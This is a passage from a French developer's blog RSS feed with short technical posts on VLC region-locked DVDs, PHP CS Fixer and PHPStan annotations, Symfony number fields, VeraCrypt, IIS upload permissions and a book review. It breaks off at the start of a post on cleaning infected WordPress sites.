data-zoom-src="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/macos-steam-close.webp"&gt;&lt;/figure&gt;
&lt;h3 class="relative group"&gt;Problème de résolution du jeu
&lt;div id="problème-de-résolution-du-jeu" class="anchor"&gt;&lt;/div&gt;
&lt;span
class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"&gt;
&lt;a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#probl%c3%a8me-de-r%c3%a9solution-du-jeu" aria-label="Ancre"&gt;#&lt;/a&gt;
&lt;/span&gt;
&lt;/h3&gt;
&lt;p&gt;La résolution initiale du jeu peut ne pas être optimale.
Ajustez vous-même la résolution dans les paramètres du jeu.&lt;/p&gt;</description><media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/featured.jpeg"/></item><item><title>Lire les DVD Région 1 (USA) avec VLC</title><link>https://www.maximepinot.com/blog/lire-les-dvd-region-1-usa-avec-vlc.html</link><pubDate>Mon, 06 Jun 2022 09:58:00 +0200</pubDate><author>contact+blog@maximepinot.com (Maxime Pinot)</author><guid>https://www.maximepinot.com/blog/lire-les-dvd-region-1-usa-avec-vlc.html</guid><description>&lt;p&gt;&lt;strong&gt;VLC Media Player&lt;/strong&gt; permet de lire les DVD protégés par un code région.&lt;/p&gt;
&lt;p&gt;Si ça ne fonctionne pas, vérifiez que le paquet &lt;code&gt;libdvdcss2&lt;/code&gt; est bien installé sur votre machine.&lt;/p&gt;
&lt;p&gt;Sous Debian / Ubuntu :&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo apt-get install libdvdcss2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Sous macOS :&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;brew install libdvdcss&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;</description></item><item><title>PHP CS Fixer x PHPStan : attention au traitement des DocBlocks !</title><link>https://www.maximepinot.com/blog/php-cs-fixer-phpstan-attention-au-traitement-des-docblocks-trait.html</link><pubDate>Thu, 31 Mar 2022 15:42:00 +0200</pubDate><author>contact+blog@maximepinot.com (Maxime Pinot)</author><guid>https://www.maximepinot.com/blog/php-cs-fixer-phpstan-attention-au-traitement-des-docblocks-trait.html</guid><description>&lt;p&gt;Récemment, je suis tombé sur ce cas : &lt;a href="https://phpstan.org/r/b8849240-30d4-4001-9d69-d0a071addb5b" target="_blank" rel="noreferrer"&gt;https://phpstan.org/r/b8849240-30d4-4001-9d69-d0a071addb5b&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Je ne vais pas décrire le code, je pense que vous comprenez l&amp;rsquo;implémentation.
En soi, c&amp;rsquo;est valide (cf. le commentaire sur la méthode &lt;code&gt;FooRepository::baz&lt;/code&gt;) mais PHPStan ne le comprend pas sans aide.&lt;/p&gt;
&lt;p&gt;Aucun problème, aidons PHPStan : &lt;a href="https://phpstan.org/r/3092e11e-dc78-4f65-ab0b-94ea682540c2" target="_blank" rel="noreferrer"&gt;https://phpstan.org/r/3092e11e-dc78-4f65-ab0b-94ea682540c2&lt;/a&gt;
(utilisation des &lt;a href="https://phpstan.org/blog/generics-in-php-using-phpdocs" target="_blank" rel="noreferrer"&gt;Generics&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Plus d&amp;rsquo;erreur, super ! Pourtant, le job &amp;ldquo;Quality&amp;rdquo; de la CI continue de fail&amp;hellip; 😢&lt;/p&gt;
&lt;p&gt;Avant de commit mon code, je lance PHP CS Fixer (dans ce projet, il y a simplement la règle `@Symfony d&amp;rsquo;utilisée).&lt;/p&gt;
&lt;p&gt;Ce que j&amp;rsquo;ignorais, c&amp;rsquo;est que par défaut, PHP CS Fixer va convertir tous les DocBlocks qui ne contiennent pas de la PHPDoc en commentaire &amp;ldquo;standard&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;On se retrouve avec cette différence:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-diff" data-lang="diff"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gd"&gt;- /**
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gi"&gt;+ /*
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * @phpstan-use FooTrait&amp;lt;FooEntity&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * @phpstan-use FooTrait&amp;lt;FooEntity&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; */
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;use FooTrait;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;PHPStan ne prend plus en compte l&amp;rsquo;annotation : &lt;a href="https://phpstan.org/r/56445228-13b6-44e7-afd8-8ebdc7016b28" target="_blank" rel="noreferrer"&gt;https://phpstan.org/r/56445228-13b6-44e7-afd8-8ebdc7016b28&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Pour éviter ce problème, il faut :&lt;/p&gt;
&lt;h2 class="relative group"&gt;Sur PHP CS Fixer v2
&lt;div id="sur-php-cs-fixer-v2" class="anchor"&gt;&lt;/div&gt;
&lt;span
class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"&gt;
&lt;a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#sur-php-cs-fixer-v2" aria-label="Ancre"&gt;#&lt;/a&gt;
&lt;/span&gt;
&lt;/h2&gt;
&lt;p&gt;Activer l&amp;rsquo;option &lt;code&gt;phpdoc_to_comment&lt;/code&gt; :&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;setRules&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;@Symfony&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;phpdoc_to_comment&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="https://github.com/FriendsOfPHP/PHP-CS-Fixer/blob/2.19/doc/rules/phpdoc/phpdoc_to_comment.rst" target="_blank" rel="noreferrer"&gt;https://github.com/FriendsOfPHP/PHP-CS-Fixer/blob/2.19/doc/rules/phpdoc/phpdoc_to_comment.rst&lt;/a&gt;&lt;/p&gt;
&lt;h2 class="relative group"&gt;Sur PHP CS Fixer v3
&lt;div id="sur-php-cs-fixer-v3" class="anchor"&gt;&lt;/div&gt;
&lt;span
class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"&gt;
&lt;a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#sur-php-cs-fixer-v3" aria-label="Ancre"&gt;#&lt;/a&gt;
&lt;/span&gt;
&lt;/h2&gt;
&lt;p&gt;La version 3 n&amp;rsquo;attend pas un booléen mais un tableau, car on peut configurer le traitement par bloc.&lt;/p&gt;
&lt;p&gt;Dans mon exemple, ce serait bien de seulement désactiver la transformation sur les `use et garder le comportement par défaut sur le reste des blocks.&lt;/p&gt;
&lt;p&gt;Avec la version 3, c&amp;rsquo;est possible !&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;setRules&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;@Symfony&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;phpdoc_to_comment&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ignored_tags&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;use&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]],&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;</description></item><item><title>J'ai lu : Entrepreneurs du Web, Les grandes réussites françaises</title><link>https://www.maximepinot.com/blog/j-ai-lu-entrepreneurs-du-web-les-grandes-reussites-francaises.html</link><pubDate>Sun, 26 Dec 2021 15:55:00 +0200</pubDate><author>contact+blog@maximepinot.com (Maxime Pinot)</author><guid>https://www.maximepinot.com/blog/j-ai-lu-entrepreneurs-du-web-les-grandes-reussites-francaises.html</guid><description>&lt;figure&gt;&lt;img
class="my-0 rounded-md"
loading="lazy"
decoding="async"
fetchpriority="low"
alt="Couverture du livre &amp;ldquo;Entrepreneurs du Web, Les grandes réussites françaises&amp;rdquo;"
src="https://www.maximepinot.com/uploads/61c879db1e9f1_couverture-livre-entrepreneurs-du-web.jpg"
&gt;&lt;/figure&gt;
&lt;p&gt;J&amp;rsquo;ai récemment lu le livre &lt;strong&gt;&amp;ldquo;Entrepreneurs du Web, Les grandes réussites françaises&amp;rdquo;&lt;/strong&gt; de Jonathan Lascar et Julien Konczaty,
et préfacé par Philippe Hayat. Il est édité par les éditions du Palio.
C&amp;rsquo;est une lecture tardive, car ce livre est sorti en 2012, il y a presque 10 ans !&lt;/p&gt;
&lt;p&gt;Ce livre est un recueil d&amp;rsquo;entretiens entre les auteurs et des fondateurs et fondatrices de start-ups.
La quatrième de couverture nous promet de &lt;em&gt;&amp;ldquo;passer quelques moments privilégiés avec les fondateurs des entreprises sélectionnés&amp;rdquo;&lt;/em&gt;.
Les entreprises sélectionnées sont les premières entreprises du Web fondées fin 1990, début 2000.&lt;/p&gt;
&lt;p&gt;Les fondateurs et fondatrices interviewés sont :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Gauthier Picquart et Patrick Jacquemin, fondateurs de &lt;strong&gt;RueDuCommerce&lt;/strong&gt; ;&lt;/li&gt;
&lt;li&gt;Anne-Sophie Pastel, cofondatrice d&amp;rsquo;&lt;strong&gt;Auféminin&lt;/strong&gt; ;&lt;/li&gt;
&lt;li&gt;Yoann Le Berrigaud, cofondateur de &lt;strong&gt;Sarenza&lt;/strong&gt; ;&lt;/li&gt;
&lt;li&gt;Pierre Chappaz, cofondateur de &lt;strong&gt;Kelkoo&lt;/strong&gt; ;&lt;/li&gt;
&lt;li&gt;Pierre Kosciusko-Morizet, cofondateur de &lt;strong&gt;PriceMinister&lt;/strong&gt; ;&lt;/li&gt;
&lt;li&gt;Didier Rappaport, cofondateur de &lt;strong&gt;Dailymotion&lt;/strong&gt; ;&lt;/li&gt;
&lt;li&gt;Jonathan Benassaya, cofondateur de &lt;strong&gt;Deezer&lt;/strong&gt; ;&lt;/li&gt;
&lt;li&gt;Yseulys Costes, fondatrice de &lt;strong&gt;1000mercis&lt;/strong&gt; ;&lt;/li&gt;
&lt;li&gt;Christopher Crémer, fondateur de &lt;strong&gt;Meilleurtaux&lt;/strong&gt; ;&lt;/li&gt;
&lt;li&gt;Thomas Revest, Business Développeur &lt;strong&gt;Groupon / Citydeal&lt;/strong&gt; ;&lt;/li&gt;
&lt;li&gt;Olivier Aizac, directeur général &lt;strong&gt;LeBonCoin.fr&lt;/strong&gt; ;&lt;/li&gt;
&lt;li&gt;Michel de Guilhermier, fondateur de &lt;strong&gt;Photoways&lt;/strong&gt; ;&lt;/li&gt;
&lt;li&gt;Stéphanie Pelaprat, fondatrice de &lt;strong&gt;Restopolitain&lt;/strong&gt; ;&lt;/li&gt;
&lt;li&gt;Céline Lazorthes, fondatrice de &lt;strong&gt;Leetchi&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Les entretiens sont plutôt longs avec vingt questions posées en moyenne.
Toutefois, les entretiens se concentrent quasi exclusivement sur la présentation et l&amp;rsquo;historique de l&amp;rsquo;entreprise.
Les fondateurs et fondatrices présentent leur parcours universitaire et/ou professionnel réalisé avant la création de l&amp;rsquo;entreprise.
Ils racontent d&amp;rsquo;où leur est venu l&amp;rsquo;idée de leur start-up et comment et à quel moment ils ont levé des fonds.
C&amp;rsquo;est tout.
Simplement l&amp;rsquo;historique de l&amp;rsquo;entreprise.
Je n&amp;rsquo;ai pas trouvé qu&amp;rsquo;il y avait particulièrement une prise de recul sur leur parcours.
C&amp;rsquo;est ce qu&amp;rsquo;il m&amp;rsquo;a particulièrement déçu dans ce livre.
Et je pense qu&amp;rsquo;un entrepreneur serait plus déçu car il ne trouverait pas les réponses à ses questions d&amp;rsquo;entrepreneur.&lt;/p&gt;
&lt;p&gt;Chaque entretien se finit par un &lt;strong&gt;&amp;ldquo;Point pragmatique&amp;rdquo;&lt;/strong&gt; rédigé par les auteurs.
Je n&amp;rsquo;ai pas trouvé un réel intérêt à ce point.
Il ne fait que synthétiser l&amp;rsquo;entretien que l&amp;rsquo;on vient de lire.
Une rédaction de synthèse de niveau collège&amp;hellip;&lt;/p&gt;
&lt;p&gt;Ce livre est resté longtemps dans ma liste d&amp;rsquo;envie Amazon.
J&amp;rsquo;avais hâte de le lire depuis le temps.
Et j&amp;rsquo;ai finalement était déçu. Je n&amp;rsquo;ai rien retiré des entretiens&amp;hellip;&lt;/p&gt;</description></item><item><title>Formulaire Symfony : empêcher un nombre d'être arrondi</title><link>https://www.maximepinot.com/blog/formulaire-symfony-empecher-un-nombre-d-etre-arrondi-scale.html</link><pubDate>Tue, 20 Jul 2021 09:35:00 +0200</pubDate><author>contact+blog@maximepinot.com (Maxime Pinot)</author><guid>https://www.maximepinot.com/blog/formulaire-symfony-empecher-un-nombre-d-etre-arrondi-scale.html</guid><description>&lt;p&gt;Dans un formulaire &lt;strong&gt;Symfony&lt;/strong&gt;, si vous attendez que l&amp;rsquo;utilisateur saisisse &lt;strong&gt;un nombre décimal&lt;/strong&gt;,
alors vous utiliserai naturellement le type de champ &lt;a href="https://symfony.com/doc/current/reference/forms/types/number.html" target="_blank" rel="noreferrer"&gt;&lt;code&gt;NumberType&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Toutefois, le type de champ &lt;code&gt;NumberType&lt;/code&gt; arrondi systématiquement la valeur envoyée (par défaut à 3 chiffres derrières la virgule).
Ce comportement peut être ajusté via l&amp;rsquo;option &lt;a href="https://symfony.com/doc/current/reference/forms/types/number.html#scale" target="_blank" rel="noreferrer"&gt;&lt;code&gt;scale&lt;/code&gt;&lt;/a&gt;.
Mais l&amp;rsquo;option &lt;code&gt;scale&lt;/code&gt; n&amp;rsquo;est pas désactivable et vous ne pourrez pas empêcher Symfony d&amp;rsquo;arrondir la valeur.&lt;/p&gt;
&lt;p&gt;Si vous voulez empêcher Symfony d&amp;rsquo;arrondir la valeur saisie, il faut utiliser le type &lt;a href="https://symfony.com/doc/current/reference/forms/types/text.html" target="_blank" rel="noreferrer"&gt;&lt;code&gt;TextType&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mais attention ! Utiliser simplement le type TextType ne suffira pas&lt;/strong&gt;.
Vous devez vous assurer que la chaîne de caractères saisie contienne bien un nombre décimal.
Pour cela, il faut ajouter une contrainte de validation.
La contrainte &lt;a href="https://symfony.com/doc/current/reference/constraints/Type.html" target="_blank" rel="noreferrer"&gt;&lt;code&gt;Type&lt;/code&gt;&lt;/a&gt; est ce qu&amp;rsquo;il vous faut !&lt;/p&gt;
&lt;p&gt;Voici le code nécessaire pour avoir un champ de formulaire qui accepte seulement une chaîne numérique :&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="nx"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;declare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;strict_types&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;namespace&lt;/span&gt; &lt;span class="nx"&gt;Foo&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="nx"&gt;Symfony\Component\Form\AbstractType&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="nx"&gt;Symfony\Component\Form\Extension\Core\Type\TextType&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="nx"&gt;Symfony\Component\Form\FormBuilderInterface&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="nx"&gt;Symfony\Component\Validator\Constraints\Type&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;final&lt;/span&gt; &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;FooType&lt;/span&gt; &lt;span class="k"&gt;extends&lt;/span&gt; &lt;span class="nx"&gt;AbstractType&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;buildForm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;FormBuilderInterface&lt;/span&gt; &lt;span class="nv"&gt;$builder&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt; &lt;span class="nv"&gt;$options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$builder&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;numeric&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;TextType&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;constraints&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;Type&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;type&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;numeric&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;</description></item><item><title>Volume VeraCrypt sur clé USB : "Resource temporarily unavailable"</title><link>https://www.maximepinot.com/blog/volume-veracrypt-sur-cle-usb-resource-temporarily-unavailable-file-write-340.html</link><pubDate>Wed, 03 Mar 2021 11:55:00 +0200</pubDate><author>contact+blog@maximepinot.com (Maxime Pinot)</author><guid>https://www.maximepinot.com/blog/volume-veracrypt-sur-cle-usb-resource-temporarily-unavailable-file-write-340.html</guid><description>&lt;figure&gt;&lt;img
class="my-0 rounded-md"
loading="lazy"
decoding="async"
fetchpriority="low"
alt="Capture d&amp;rsquo;écran de VeraCrypt qui montre l&amp;rsquo;erreur &amp;ldquo;Resource temporarily unavailable: VeraCrypt::File::Write:340&amp;rdquo;"
src="https://www.maximepinot.com/uploads/61c74f93f12b7_veracrypt-resource-temporarily-unavailable.png"
&gt;&lt;/figure&gt;
&lt;p&gt;Pour contourner ce problème, créez le volume sur votre &lt;strong&gt;machine locale&lt;/strong&gt;
(pas sur la clé USB ou n&amp;rsquo;importe quel autre périphérique externe).&lt;/p&gt;
&lt;p&gt;Une fois le volume créé sur votre machine, il vous suffit de le &lt;strong&gt;déplacer&lt;/strong&gt;
(un volume VeraCrypt correspond à un seul fichier) vers la clé USB.
Le volume sera ensuite pleinement accessible depuis la clé USB.&lt;/p&gt;</description></item><item><title>Windows IIS : "Accès refusé" sur les fichiers uploadés par PHP</title><link>https://www.maximepinot.com/blog/windows-iis-acces-refuse-sur-les-fichiers-uploades-par-php.html</link><pubDate>Mon, 16 Nov 2020 08:21:00 +0200</pubDate><author>contact+blog@maximepinot.com (Maxime Pinot)</author><guid>https://www.maximepinot.com/blog/windows-iis-acces-refuse-sur-les-fichiers-uploades-par-php.html</guid><description>&lt;p&gt;Si vous utilisez IIS, vous rencontrez peut-être un problème de droit d&amp;rsquo;accès aux fichiers &lt;em&gt;uploadés&lt;/em&gt; par PHP.&lt;/p&gt;
&lt;p&gt;Aucun problème pour ajouter un fichier (via la fonction PHP &lt;code&gt;move_uploaded_file&lt;/code&gt; ou via &lt;code&gt;UploadedFile::move&lt;/code&gt; si vous utilisez Symfony),
mais lorsque vous voulez copier (fonction PHP &lt;code&gt;copy&lt;/code&gt;) ou déplacer (fonction PHP &lt;code&gt;rename&lt;/code&gt;) le fichier en question,
vous rencontrez une erreur &lt;strong&gt;&amp;ldquo;Accès refusé&amp;rdquo; (&amp;ldquo;Permission denied&amp;rdquo;)&lt;/strong&gt;.
Pourtant, le fichier a bien été ajouté sur votre serveur !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Le problème vient de l&amp;rsquo;héritage des permissions du dossier temporaire d&amp;rsquo;upload.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Lorsque vous &lt;em&gt;uploadez&lt;/em&gt; un fichier avec PHP, celui-ci le place dans un dossier temporaire et le déplace ensuite dans le dossier final
(le dossier que vous choisissez lorsque vous appelez la fonction &lt;code&gt;move_uploaded_file&lt;/code&gt;).
Quand le fichier est placé dans le dossier temporaire, il se voit attribuer les &lt;strong&gt;autorisations&lt;/strong&gt; de ce dossier temporaire.
&lt;strong&gt;Ces autorisations ne changent pas&lt;/strong&gt;, même après le déplacement vers le dossier final.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Comment je trouve le dossier temporaire d&amp;rsquo;upload ?&lt;/p&gt;
&lt;/blockquote&gt;&lt;p&gt;Le dossier temporaire d&amp;rsquo;upload est défini dans le fichier de configuration &lt;a href="https://www.php.net/manual/fr/configuration.file.php" target="_blank" rel="noreferrer"&gt;&lt;code&gt;php.ini&lt;/code&gt;&lt;/a&gt;, sous la directive &lt;code&gt;upload_tmp_dir&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Par défaut : &lt;code&gt;C:\\Windows\\Temp&lt;/code&gt; (vous pouvez le vérifier avec &lt;a href="https://www.php.net/manual/fr/function.phpinfo.php" target="_blank" rel="noreferrer"&gt;&lt;code&gt;phpinfo&lt;/code&gt;&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;Si vous faite un clic droit sur ce dossier, puis &amp;ldquo;Propriétés&amp;rdquo;, vous devriez voir dans l&amp;rsquo;onglet &amp;ldquo;Sécurité&amp;rdquo; le message suivant :&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Vous devez disposer d&amp;rsquo;autorisations d&amp;rsquo;accès en lecture pour afficher les propriétés de cet objet.&lt;/p&gt;
&lt;p&gt;Cliquez sur Avancé pour continuer.&lt;/p&gt;
&lt;/blockquote&gt;&lt;p&gt;Il faut ajouter le groupe ou le compte utilisateur utilisé par IIS (généralement &lt;strong&gt;IIS_IUSRS&lt;/strong&gt; par défaut).&lt;/p&gt;
&lt;p&gt;Pour trouver le groupe ou le compte utilisateur utilisé, rendez-vous dans le gestionnaire des services Internet (IIS) :
&lt;strong&gt;Gestionnaire des services Internet (IIS) &amp;gt; Pools d&amp;rsquo;application &amp;gt; Colonne &amp;ldquo;Identité&amp;rdquo;&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>Nettoyer un site internet WordPress infecté par js.wiilberedmodels.com</title><link>https://www.maximepinot.com/blog/nettoyer-un-site-internet-wordpress-infecte-qui-redirige-vers-js-wiilberedmodels-com.html</link><pubDate>Sun, 08 Sep 2019 13:28:00 +0200</pubDate><author>contact+blog@maximepinot.com (Maxime Pinot)</author><guid>https://www.maximepinot.com/blog/nettoyer-un-site-internet-wordpress-infecte-qui-redirige-vers-js-wiilberedmodels-com.html</guid><description>&lt;p&gt;Ces dernières semaines, des milliers de sites internet &lt;strong&gt;WordPress&lt;/strong&gt; ont été infectés suite à la découverte
de failles de sécurité dans des extensions WordPress.
Je vous invite à lire &lt;a href="https://www.wordfence.com/blog/2019/08/malicious-wordpress-redirect-campaign-attacking-several-plugins/" target="_blank" rel="noreferrer"&gt;cet article&lt;/a&gt;
très complet (en anglais) concernant cette campagne.&lt;/p&gt;
&lt;p&gt;Les sites WordPress infectés redirigent vers des noms de domaine malveillants, tels que :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;greatinstagrampage.com&lt;/code&gt;&lt;/li&gt;
